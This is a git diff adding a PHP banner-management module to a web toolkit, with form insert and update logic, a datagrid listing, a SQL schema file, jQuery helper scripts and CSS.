+                               //      pre selected.
+                               $sql = "
+                    SELECT *
+                      FROM banners2membercategories
+                     WHERE bid = :bid";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':bid', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                                       $pages[] = $row['catid'];
+                               }
+                               $defaults['member_categories'] = $pages;
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+               } else {
+                       $bottom   = (int) ($_GET['type'] == 'bottom');
+                       $defaults = array(
+                               'sdate' => array(
+                    'm' => date('m'),
+                    'd' => date('d'),
+                    'Y' => date('Y')
+                ),
+                               'edate' => array(
+                    'm' => date('m', $nextWeek),
+                    'd' => date('d', $nextWeek),
+                    'Y' => date('Y', $nextWeek)
+                ),
+                               'external' => false,
+                               'clicks' => 0,
+                               'impressions' => 0,
+                               'bottom' => $bottom,
+                       );
+               }
+
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+
+       //      {{{     getMemberCategories()
+
+       /**
+        * Get the array of member categories used for the select list
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @return array $pages pages used to populate a select list element
+        * @access protected
+        */
+       protected function getMemberCategories()
+       {
+               $categories = Toolkit_Common::getHierarchicalTreeStructure(
+            'category',
+            'category_id',
+            'parent_id'
+        );
+               //  Get only the active categories from
+               //  the nav structure for our select list.
+               $sql = "
+                       SELECT category_id, name
+                         FROM category
+                        WHERE category_id = :id";
+
+               $stmt = $this->dbh->prepare($sql);
+
+               foreach ($categories as $k => $v) {
+                       unset($row, $category);
+                       $stmt->bindParam(':id', $k, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+
+                       //  If we actually retrieved a row, add it to the select list
+                       //  after we clean it up.
+                       if (!empty($row)) {
+                               for ($i = 1; $i < $v; ++$i) {
+                                       $category .= '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';
+                               }
+                               $pages[$k] = $category . $row['name'];
+                       }
+               }
+
+               return $pages;
+       }
+
+       //      }}}
+       //      {{{     getSitePages()
+
+       /**
+        * Get the array of navigational pages used for the select list
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @return array $pages pages used to populate a select list element
+        * @access protected
+        */
+       protected function getSitePages()
+       {
+               $categories = Toolkit_Common::getHierarchicalTreeStructure();
+               //  Get only the active categories from
+               //  the nav structure for our select list.
+               $sql = "
+                       SELECT id, category
+                         FROM bus_category
+                        WHERE id = :id
+                          AND active = true";
+
+               $stmt = $this->dbh->prepare($sql);
+
+               foreach ($categories as $k => $v) {
+                       unset($row, $category);
+                       $stmt->bindParam(':id', $k, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+
+                       //  If we actually retrieved a row, add it to the select list
+                       //  after we clean it up.
+                       if (!empty($row)) {
+                               for ($i = 1; $i < $v; ++$i) {
+                                       $category .= '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';
+                               }
+                               $pages[$k] = $category . $row['category'];
+                       }
+               }
+
+               return $pages;
+       }
+
+       //      }}}
+
+       //      {{{     insertData()
+
+    /**
+     * Inserts banner data in the DB from the submitted form values
+     * 
+     * @param array $values Form submission values
+     *
+     * @return boolean Result of insert queries for banner
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+               $values['url']    = $this->parseUrl($values['url'], $values['external']);
+               $navPages         = $values['pages'];
+               $memberCategories = $values['member_categories'];
+               $values['image']  = $values['uploaded_file_rmv'];
+               unset($values['pages'], $values['member_categories'],
+                               $values['uploaded_file_rmv']);
+               $values['sdate']  = implode('/', $values['sdate']);
+               $values['edate']  = implode('/', $values['edate']);
+               $values['active'] = ($values['active'] == 'on') ? true : false;
+
+               try {
+                       $this->dbh->beginTransaction();
+                       $params     = implode(', ', array_keys($values));
+                       $bindParams = ':' . implode(', :', array_keys($values));
+
+                       $sql = "
+                               INSERT INTO {$this->tableName} ($params)
+                               VALUES ($bindParams)";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($values as $k => &$v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               //      for empty values that are not actually a zero (0), we
+                               //      want to insert null's.
+                               //      This will help hold the unique values for member_logins,
+                               //      as empty values '', are not considered unique
+                               if (empty($v) && (int)$v !== 0) {
+                                       $v        = null;
+                                       $dataType = PDO::PARAM_NULL;
+                               }
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       }
+                       $stmt->execute();
+                       $bid = $this->dbh->lastInsertId('banners_id_seq');
+
+                       if (!empty($navPages)) {
+                               $sql = "
+                                       INSERT INTO banners2navpages (bid, catid)
+                                       VALUES ($bid, :catid)";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($navPages as $v) {
+                                       $stmt->bindParam(':catid', $v, PDO::PARAM_INT);
+                                       $stmt->execute();
+                               }
+                       }
+                       if (!empty($memberCategories)) {
+                               $sql = "
+                                       INSERT INTO banners2membercategories (bid, catid)
+                                       VALUES ($bid, :catid)";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($memberCategories as $v) {
+                                       $stmt->bindParam(':catid', $v, PDO::PARAM_INT);
+                                       $stmt->execute();
+                               }
+                       }
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     parseUrl()
+
+       /**
+        * Parse the submitted url so we can put a fully formated url into the db
+        *
+     * @param string  $url      URI to validate
+     * @param boolean $external If we are dealing with an external URI
+     *                          compared to this site
+     *
+     * @return string The fully formatted uri
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access Protected
+        */
+       protected function parseUrl($url, $external)
+       {
+               if ($external) {
+                       $pattern = '/^http:\/\/.+$/';
+                       preg_match($pattern, $url, $matches);
+                       if (empty($matches)) {
+                               $url = "http://$url";
+                       }
+               } else {
+                       $tok = strtok(BASE_URL, '/');
+                       while ($tok !== false) {
+                               $url = preg_replace("/$tok/", '', $url, 1);
+                               $tok = strtok('/');
+                       }
+                       $url = BASE_URL . ltrim($url, '/');
+               }
+
+               return $url;
+       }
+
+       //      }}}
+       //      {{{     processData()
+
+       /**
+        * Determine how the form should be handled (insert new data or update old)
+        *
+     * @param array $values Submitted form values
+     *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return boolean Result of insert or update function
+        * @access protected
+        */
+       protected function processData($values)
+       {
+               Toolkit_Common::getTableMetaData();
+
+               unset($values['MAX_FILE_SIZE']);
+               foreach ($values as $k => $v) {
+                       if ($k != 'uploaded_file_rmv' && preg_match('/^.+_rmv$/', $k)) {
+                               unset($values[$k]);
+                       }
+               }
+
+               $function = isset($_GET['id']) ? 'updateData' : 'insertData';
+               return $this->$function($values);
+       }
+
+       //      }}}
+
+       //      {{{     toHTML()
+
+       /**
+        * Call the rendering function to get the form in a string
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @return string $output The Form to be rendered or success msg.
+        * @access protected
+        */
+       public function toHTML()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       $this->cleanForm();
+
+                       if ($this->process(array(&$this, 'processData'), $this->mergeFiles)) {
+                               $this->freeze();
+                               $output = $this->successMsg;
+                       }
+               } else if ($this->isSubmitted()) {
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHTML();
+               } else {
+                       $output = parent::toHTML();
+               }
+               return $output;
+       }
+
+       //      }}}
+
+       //      {{{     updateData()
+
+    /**
+     * Updates banner data in the DB from the submitted form values
+     * 
+     * @param array $values Submitted form values
+     *
+     * @return object Result of update queries on DB
+     * @access protected
+     */
+       protected function updateData($values)
+       {
+               $values['url']    = $this->parseUrl($values['url'], $values['external']);
+               $navPages         = $values['pages'];
+               $memberCategories = $values['member_categories'];
+               $values['image']  = $values['uploaded_file_rmv'];
+               unset($values['pages'], $values['member_categories'],
+                               $values['uploaded_file_rmv']);
+               $values['sdate']  = implode('/', $values['sdate']);
+               $values['edate']  = implode('/', $values['edate']);
+               $values['active'] = ($values['active'] == 'on');
+
+               try {
+                       $this->dbh->beginTransaction();
+                       $params = array_keys($values);
+                       $length = count($params);
+                       for ($i = 0; $i < $length; ++$i) {
+                               $bindParams .= "{$params[$i]} = :{$params[$i]}";
+                               if ($i < ($length - 1)) {
+                                       $bindParams .= ', ';
+                }
+                       }
+                       $sql = "
+                               UPDATE {$this->tableName}
+                                  SET $bindParams
+                                WHERE id = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       foreach ($values as $k => &$v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               //      for empty values that are not actually a zero (0), we
+                               //      want to insert null's.
+                               //      This will help hold the unique values for member_logins,
+                               //      as empty values '', are not considered unique
+                               if (empty($v) && (int)$v !== 0) {
+                                       $v        = null;
+                                       $dataType = PDO::PARAM_NULL;
+                               }
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       }
+                       $stmt->execute();
+
+                       if (!empty($navPages)) {
+                               $sql = "
+                    DELETE FROM banners2navpages
+                     WHERE bid = :bid";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':bid', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+
+                               $sql = "
+                                       INSERT INTO banners2navpages (bid, catid)
+                                       VALUES (:id, :catid)";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                               foreach ($navPages as $v) {
+                                       $stmt->bindParam(':catid', $v, PDO::PARAM_INT);
+                                       $stmt->execute();
+                               }
+                       }
+                       if (!empty($memberCategories)) {
+                               $sql = "
+                    DELETE FROM banners2membercategories
+                     WHERE bid = :bid";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':bid', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+
+                               $sql = "
+                                       INSERT INTO banners2membercategories (bid, catid)
+                                       VALUES (:id, :catid)";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                               foreach ($memberCategories as $v) {
+                                       $stmt->bindParam(':catid', $v, PDO::PARAM_INT);
+                                       $stmt->execute();
+                               }
+                       }
+
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Banners/ListBanners.php b/Toolkit/Banners/ListBanners.php
new file mode 100644 (file)
index 0000000..9e2ee7b
--- /dev/null
@@ -0,0 +1,310 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Banners
+ * @package  Toolkit_Banners
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: ListBanners.php,v 1.1.1.1 2009/09/17 20:08:57 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * List the banners in the database in a datagrid
+ *
+ * Handles listing of the banners in the bannerDB, pagnation, and sorting.
+ * Also controls the resulting number of banners that are rendered
+ * on the page.
+ *
+ * @category  Banners
+ * @package   Toolkit_Banners
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_DataGridBuilder
+ */
+class Toolkit_Banners_ListBanners extends Toolkit_DataGridBuilder
+{
+       //      {{{     properties
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $contactColumns = array();
+
+    /**
+     * Description for protected
+     * @var    unknown  
+     * @access protected
+     */
+       protected $dataGrid;
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+       protected $folder;
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+       protected $noRecMessage = 'No Banners Created Yet.';
+
+       //      }}}
+
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     * 
+     * Builds the DataGrid class
+     * 
+     * @param PDO     $pdo          PHP Data Object to use for the DB
+     * @param integer $limit        The number of records to display per page
+     * @param integer $page         The current page viewed
+     * @param object  $rendererType The type of renderer to use
+     *
+     * @return void   
+     * @access public 
+     */
+       public function __construct(
+        PDO $pdo,
+        $limit = null,
+        $page = null,
+        $rendererType = null
+    ) {
+               parent::__construct($pdo, $limit, $page, $rendererType);
+
+               //      Where are the banner folders located at?
+               $this->folder = BASE_URL . 'images/';
+
+               if (isset($_GET['status'])) {
+                       $sql = "
+                UPDATE banners
+                   SET active = 
+                       CASE
+                                                  WHEN active = 't' then false
+                                                  ELSE true
+                       END
+                 WHERE id = :id";
+
+                       $stmt = $pdo->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['status'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       //      pdo & stmt are unset to release the postgres connection.
+                       //      status is unset to if the user clicks to rearrange the 
+                       //      grid after changing the status of a banner, its not
+                       //      carried into the rearrange url.
+                       unset($stmt, $_GET['status']);
+               } elseif (isset($_GET['del'])) {
+                       $sql = "
+                DELETE from banners
+                 WHERE id = :id";
+
+                       $stmt = $pdo->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['del'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       //      pdo & stmt are unset to release the postgres connection.
+                       //      status is unset to if the user clicks to rearrange the 
+                       //      grid after changing the status of a banner, its not
+                       //      carried into the rearrange url.
+                       unset($stmt, $_GET['del']);
+               }
+
+               $sql = "
+                       SELECT id, url, image, impressions, clicks, active, image, bottom,
+                                       sdate AS ssdate,
+                                       edate AS sedate,
+                                       to_char(sdate, 'MM/DD/YYYY') AS sdate,
+                                       to_char(edate, 'MM/DD/YYYY') AS edate,
+                   CASE
+                                          WHEN impressions = 0 THEN 0 || '%'
+                                          ELSE ROUND(clicks / impressions * 100, 2) || '%'
+                   END AS conversion
+              FROM banners
+                       $where";
+
+               $this->setQuery($sql);
+               $defaultSort = array('id' => 'ASC');
+               $this->setDefaultSort($defaultSort);
+       }
+
+       //      }}}
+
+       //      {{{     configureColumns()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function configureColumns()
+       {
+               $edit =& new Structures_DataGrid_Column('Edit',
+                                                null,
+                                                null,
+                                                array('class' => 'editLink'),
+                                                null,
+                                                array(&$this, 'renderEditLink'));
+               $this->addColumn($edit);
+
+               $del =& new Structures_DataGrid_Column('Delete',
+                                               null,
+                                               null,
+                                               array('class' => 'delLink'),
+                                               null,
+                                               array(&$this, 'renderDeleteLink'));
+               $this->addColumn($del);
+
+               $active =& new Structures_DataGrid_Column('Active',
+                                                  null,
+                                                  null,
+                                                  array('class' => 'delLink'),
+                                                  null,
+                                                  array(&$this, 'renderStatusLink'));
+               $this->addColumn($active);
+
+               $url =& new Structures_DataGrid_Column('URL', 'url', 'url');
+               $this->addColumn($url);
+
+               $sdate =& new Structures_DataGrid_Column('Start Date',
+                                                 'sdate',
+                                                 'sdate',
+                                                 array('class' => 'dateLink'));
+               $this->addColumn($sdate);
+
+               $edate =& new Structures_DataGrid_Column('End Date',
+                                                 'edate',
+                                                 'edate',
+                                                 array('class' => 'dateLink'));
+               $this->addColumn($edate);
+
+               $fname =& new Structures_DataGrid_Column('Impressions',
+                                                 'impressions',
+                                                 'impressions',
+                                                 array('class' => 'dateLink'));
+               $this->addColumn($fname);
+
+               $lname =& new Structures_DataGrid_Column('Clicks',
+                                                 'clicks',
+                                                 'clicks',
+                                                 array('class' => 'dateLink'));
+               $this->addColumn($lname);
+
+               $conversion =& new Structures_DataGrid_Column('<abbr title="Click Through Rate">CTR</abbr>',
+                                                      'conversion',
+                                                      'conversion',
+                                                      array('class' => 'dateLink'));
+               $this->addColumn($conversion);
+
+               $image =& new Structures_DataGrid_Column('Banner',
+                                                 null,
+                                                 null,
+                                                 array('class' => 'dateLink'),
+                                                 null,
+                                                 array(&$this, 'renderBannerImage'));
+               $this->addColumn($image);
+       }
+
+       //      }}}
+
+       //      {{{     renderBannerImage()
+
+    /**
+     * Render the banner thumbnail image
+     * 
+     * @param array $data DB record
+     *
+     * @return mixed thumbnail image of the banner
+     * @access public
+     */
+       public function renderBannerImage($data)
+       {
+               $location = ($data['record']['bottom'] == 't') ? 'bottom' : 'side';
+
+               $src = $this->folder . "banner_{$location}_thumb/{$data['record']['image']}";
+
+               return '<img class="bannerImage" alt="'.
+                    $data['record']['image'].'" src="'.$src.'">';
+       }
+
+       //      }}}
+       //      {{{     renderDeleteLink()
+
+    /**
+     * Render the delete link for a banner
+     * 
+     * @param array $data DB record
+     *
+     * @return mixed Link to delete a banner
+     * @access public
+     */
+       public function renderDeleteLink($data)
+       {
+               return '<a class="delete" href="'.$_SERVER['PHP_SELF'].
+                    '?action=listBanners&amp;del='.
+                    $data['record']['id'].'">Delete</a>';
+       }
+
+       //      }}}
+       //      {{{     renderEditLink()
+
+    /**
+     * Render the edit link for a banner
+     * 
+     * @param array $data DB record
+     *
+     * @return mixed Link to edit a banner
+     * @access public
+     */
+       public function renderEditLink($data)
+       {
+               $type = ($data['record']['bottom'] == 't') ? 'bottom' : 'side';
+               return '<a href="'.BASE_URL.'admin/banners.php?type='.$type.
+                    '&amp;action=editBanner&amp;id='.
+                    $data['record']['id'].'">Edit</a>';
+       }
+
+       //      }}}
+       //      {{{     renderStatusLink()
+
+    /**
+     * Render the status link for a banner
+     * 
+     * @param array $data DB record
+     * 
+     * @return string clickable link to switch the status of a banner
+     * @access public
+     */
+       public function renderStatusLink($data)
+       {
+               $ball = ($data['record']['active'] == 't') ? 'grnball' : 'redball';
+               $alt  = ($data['record']['active'] == 't') ? 'On' : 'Off';
+               $src  = BASE_URL . "images/{$ball}.gif";
+
+               $img  = '<img class="status" alt="' . $alt . '" src="' . $src . '">';
+               $link = '<a href="'.$_SERVER['PHP_SELF'].
+                    '?action=listBanners&amp;status='.
+                        $data['record']['id'].'">' . $img . '</a>';
+
+               return $link;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Banners/banners.sql b/Toolkit/Banners/banners.sql
new file mode 100644 (file)
index 0000000..1495c5d
--- /dev/null
@@ -0,0 +1,43 @@
+drop table banner cascade;
+drop table banner_buscat cascade;
+drop table banner_category cascade;
+drop table banner_city cascade;
+drop table banners cascade;
+drop table banners2categories;
+drop table banners2navpages;
+drop table banners2membercategories;
+
+create table banners (
+id                     serial primary key,
+active         boolean default false,
+bottom         boolean default true,
+clicks         numeric default 0,
+description text,
+edate          date    not null,
+external       bool    default false,
+image          text    not null,
+impressions    integer default 0,
+sdate          date    not null,
+url                    text    not null
+);
+
+grant all on banners_id_seq to nobody;
+grant all on banners to nobody;
+
+create table banners2navpages (
+id             serial primary key,
+bid            integer references banners (id) on delete cascade,
+catid  integer references bus_category (id) on delete cascade
+);
+
+grant all on banners2navpages_id_seq to nobody;
+grant all on banners2navpages to nobody;
+
+create table banners2membercategories (
+id             serial primary key,
+bid            integer references banners (id) on delete cascade,
+catid  integer references category (category_id) on delete cascade
+);
+
+grant all on banners2membercategories_id_seq to nobody;
+grant all on banners2membercategories to nobody;
diff --git a/Toolkit/Banners/libjs/edit-banner.js b/Toolkit/Banners/libjs/edit-banner.js
new file mode 100644 (file)
index 0000000..3626cdd
--- /dev/null
@@ -0,0 +1,126 @@
+var Banner = 
+{
+       baseUrl: null,
+       pages: null,
+       pagesId: 'categories',
+       memberCats: null,
+       memberCatsId: 'member_categories',
+       
+       init: function()
+       {
+               Banner.baseUrl = location.protocol + '//' + location.hostname + '/';
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       Banner.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       Banner.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+
+               Banner.pages = $('#' + Banner.pagesId);
+               Banner.pages.parents('tr').before('<tr><td class="labelcell">Select All Pages</td><td class="fieldcell"><input type="checkbox" id="select_all_pages"></td></tr>');
+
+               Banner.memberCats= $('#' + Banner.memberCatsId);
+               Banner.memberCats.parents('tr').before('<tr><td class="labelcell">Select All Member Categories</td><td class="fieldcell"><input type="checkbox" id="select_all_member_cats"></td></tr>');
+
+               Banner.setupPagesCheckbox();
+               Banner.setupMemberCatsCheckbox();
+
+               $('#select_all_pages').bind('click', Banner.pagesSelection);
+               $('#select_all_member_cats').bind('click', Banner.memberCatsSelection);
+
+               if ($('#sdate1').get(0)) {
+                       Banner.setupSDateCalendar();
+                       var fromCal = new Zapatec.Calendar.setup({
+                               weekNumbers             : false,
+                               ifFormat                : '%m/%d/%Y',
+                               button                  : 'startcal',
+                               onUpdate                : Banner.updateFrom,
+                               showsTime               : false
+                       });
+               }
+
+               if ($('#edate1').get(0)) {
+                       Banner.setupEDateCalendar();
+                       var toCal = new Zapatec.Calendar.setup({
+                               weekNumbers             : false,
+                               ifFormat                : '%m/%d/%Y',
+                               button                  : 'endcal',
+                               onUpdate                : Banner.updateTo,
+                               showsTime               : false
+                       });
+               }
+       },
+
+       updateFrom: function(cal)
+       {
+               var date = cal.date;
+               $('#sdate1').get(0).selectedIndex = date.getMonth() + 1;
+               $('#sdate2').get(0).selectedIndex = date.getDate();
+               $('#sdate3').get(0).selectedIndex = (date.getFullYear() - 2000);
+       },
+
+       updateTo: function(cal)
+       {
+               var date = cal.date;
+               $('#edate1').get(0).selectedIndex = date.getMonth() + 1;
+               $('#edate2').get(0).selectedIndex = date.getDate();
+               $('#edate3').get(0).selectedIndex = (date.getFullYear() - 2000);
+       },
+
+       setupSDateCalendar: function()
+       {
+               var img = '&nbsp;<img id="startcal" height="18" width="21" ' + 
+                                               'style="vertical-align: middle" ' +
+                                               'src="' + Banner.baseUrl + 'assets/calendar6.gif">';
+               $('#sdate3').after(img);
+       },
+
+       setupEDateCalendar: function()
+       {
+               var img = '&nbsp;<img id="endcal" height="18" width="21" ' + 
+                                               'style="vertical-align: middle" ' +
+                                               'src="' + Banner.baseUrl + 'assets/calendar6.gif">';
+               $('#edate3').after(img);
+       },
+
+       setupPagesCheckbox: function()
+       {
+               var totalLength = Banner.pages.children().length;
+               var selectedLength = $('#' + Banner.pagesId + ' option:selected').length;
+
+               var selected = true;
+               if (totalLength != selectedLength) {
+                       selected = false;
+               }
+               $('#select_all_pages').attr('checked', selected);
+       },
+
+       setupMemberCatsCheckbox: function()
+       {
+               var totalLength = Banner.memberCats.children().length;
+               var selectedLength = $('#' + Banner.memberCatsId+ ' option:selected').length;
+
+               var selected = true;
+               if (totalLength != selectedLength) {
+                       selected = false;
+               }
+               $('#select_all_member_cats').attr('checked', selected);
+       },
+
+       pagesSelection: function(event)
+       {
+               var selected = $(this).attr('checked') ? true : false;
+               Banner.pages.children().attr('selected', selected);
+       },
+
+       memberCatsSelection: function(event)
+       {
+               var selected = $(this).attr('checked') ? true : false;
+               Banner.memberCats.children().attr('selected', selected);
+       }
+};
+
+$(document).ready(Banner.init);
diff --git a/Toolkit/Banners/libjs/fading-banners.js b/Toolkit/Banners/libjs/fading-banners.js
new file mode 100644 (file)
index 0000000..1a89e8c
--- /dev/null
@@ -0,0 +1,16 @@
+var FadingBanners =
+{
+       //      Give time in seconds
+       rotationTime: 'slow',
+       container: '#banner',
+
+       init: function()
+       {
+               $(FadingBanners.container).innerfade({
+                       speed: FadingBanners.rotationTime,
+                       containerheight: '60px'
+               });
+       }
+};
+
+$(document).ready(FadingBanners.init);
diff --git a/Toolkit/Banners/libjs/list-banner.js b/Toolkit/Banners/libjs/list-banner.js
new file mode 100644 (file)
index 0000000..667fc91
--- /dev/null
@@ -0,0 +1,16 @@
+var Banner = 
+{
+       init: function()
+       {
+               $('.delete').click(Banner.confirmDelete);
+       },
+
+       confirmDelete: function(event)
+       {
+               if (!confirm('Are you sure you wish to delete this banner?\n\nThis action is not reversible!')) {
+                       event.preventDefault();
+               }
+       }
+};
+
+$(document).ready(Banner.init);
diff --git a/Toolkit/Banners/libjs/rotating-banners.js b/Toolkit/Banners/libjs/rotating-banners.js
new file mode 100644 (file)
index 0000000..0f87966
--- /dev/null
@@ -0,0 +1,51 @@
+var RotatingBanners =
+{
+       list: null,
+       currentBanner: null,
+       baseUrl: null,
+       //      Give time in seconds
+       rotationTime: '10s',
+       folder: null,
+
+       init: function()
+       {
+               RotatingBanners.baseUrl = location.protocol + '//' + location.hostname + '/';
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       RotatingBanners.baseUrl += urlParts[1] + '/';
+               }
+
+               i = 0;
+               RotatingBanners.list = $('#bannerList').html();
+               var obj = $.evalJSON(RotatingBanners.list);
+               var banners = $('.currentBanner');
+               $(document).everyTime(RotatingBanners.rotationTime, function(t) {
+                       banners.each(function() {
+                               var startingBanner = $(this).attr('alt');
+                               var folderRegExp = new RegExp(RotatingBanners.baseUrl + '(.+)' + startingBanner, 'g');
+                               var src = $(this).attr('src');
+                               var folder = folderRegExp.exec(src);
+                               RotatingBanners.folder = folder[1];
+                               RotatingBanners.currentBanner = $(this);
+
+                               if (!obj[++i]) {
+                                       i = 0;
+                               }
+                               RotatingBanners.update(obj[i]);
+                       });
+               });
+       },
+
+       update: function(obj)
+       {
+               var image = RotatingBanners.baseUrl + RotatingBanners.folder + obj.image;
+               RotatingBanners.currentBanner.attr('src', image);
+               RotatingBanners.currentBanner.attr('alt', obj.image);
+               RotatingBanners.currentBanner.attr('title', obj.description);
+               var parentNode = RotatingBanners.currentBanner.parent();
+               parentNode.attr('href', RotatingBanners.baseUrl + 'index.php?banner=' + obj.id);
+       }
+};
+
+$(document).ready(RotatingBanners.init);
diff --git a/Toolkit/Banners/styles.css b/Toolkit/Banners/styles.css
new file mode 100644 (file)
index 0000000..454beb3
--- /dev/null
@@ -0,0 +1,146 @@
+#form-warning-top {
+       color: #FF0000;
+       font-size: 14px;
+       font-weight: bold;
+       margin-bottom: 0.5em;
+       margin-top: 1em;
+}
+.required, .req {
+       color: #FF0000;
+}
+.group {
+       display: -moz-inline-box;
+       width: 100%;
+}
+.group td {
+       width: 324px;
+}
+.requiredNote {
+       text-align: center;
+}
+#contact {
+       margin: 10px;
+}
+#contact table {
+       background-color: #FFFFFF;
+       border: 1px solid #EEEEEE;
+       border-collapse: collapse;
+}
+#contact td {
+       border: 1px solid #EEEEEE;
+       border-collapse: collapse;
+       color: #000000;
+       font-family: arial, helvetica, sans-serif;
+       padding: 3px;
+}
+.labelcell {
+       background-color: transparent;
+       padding-right: 10px;
+       padding-top: 3px;
+       text-align: right;
+       white-space: nowrap;
+       width: 140px;
+}
+.fieldcell {
+       padding-left: 4px;
+       width: 325px;
+}
+#contact table.group {
+       font-size: 10px;
+       border: none;
+       padding-top: 4px;
+}
+#contact table.group td {
+       border: none;
+}
+#contact .hdr {
+       background-color: #999999;
+       border: 1px solid #666666;
+       font-weight: bold;
+}
+.paging {
+       text-align: center;
+       background-color: #F6F6F6;
+       border-color: #E86a10;
+       border-color: #296DC0;
+       border-style: solid;
+       border-width: 1px 0;
+       margin: 1.0em 0;
+       padding: 8px 0;
+       text-align: center;
+       width: 100%;
+       font-size: 12px;
+       
+}
+.paging b {
+       border: 1px solid #b22c2c;
+       border: 1px solid #E86A10;
+       background: #FFF;
+       padding: 5px 7px;
+       margin: 0 5px;
+}
+.paging a {
+       background: #FFF;
+       border: 1px solid #CCC;
+       padding: 5px 7px;
+       text-decoration: none;
+       font-family: helvetica, times;
+       color: #000;
+       margin: 0 5px;
+}
+.paging a:hover {
+       border: 1px solid #999;
+       border: 1px solid #b22c2c;
+       border: 1px solid #E86A10;
+}
+#dataGrid {
+       margin: 10px auto;
+       border: 1px solid #296DC0;
+       width: 100%;
+       border-collapse: collapse;
+}
+#dataGrid thead th {
+       background: #296DC0;
+       border: 1px solid #1b4880;
+       color: #000;
+       font-weight: normal;
+}
+#dataGrid th a {
+       font-weight: bolder;
+       color: #000;
+       text-decoration: none;
+}
+#dataGrid th a:hover {
+       color: #E86A10;
+       text-decoration: underline;
+}
+#dataGrid tr {
+       border: 1px solid #296DC0;
+       border-collapse: collapse;
+}
+#dataGrid tbody tr td {
+       padding: 5px;
+}
+#dataGrid .editLink, #dataGrid .delLink,
+#dataGrid .mailLink, #dataGrid .dateLink,
+#dataGrid .posLink {
+       text-align: center;
+}
+img.status {
+       border: none;
+}
+.even {
+       background-color: #D9D9D9;
+}
+#gridSorter {
+       margin: 0 auto;
+       padding: 10px;
+       text-align: center;
+       border: 1px solid #296DC0;
+}
+#gridSorter table {
+       border: none;
+}
+#gridSorter td {
+       border: none;
+}
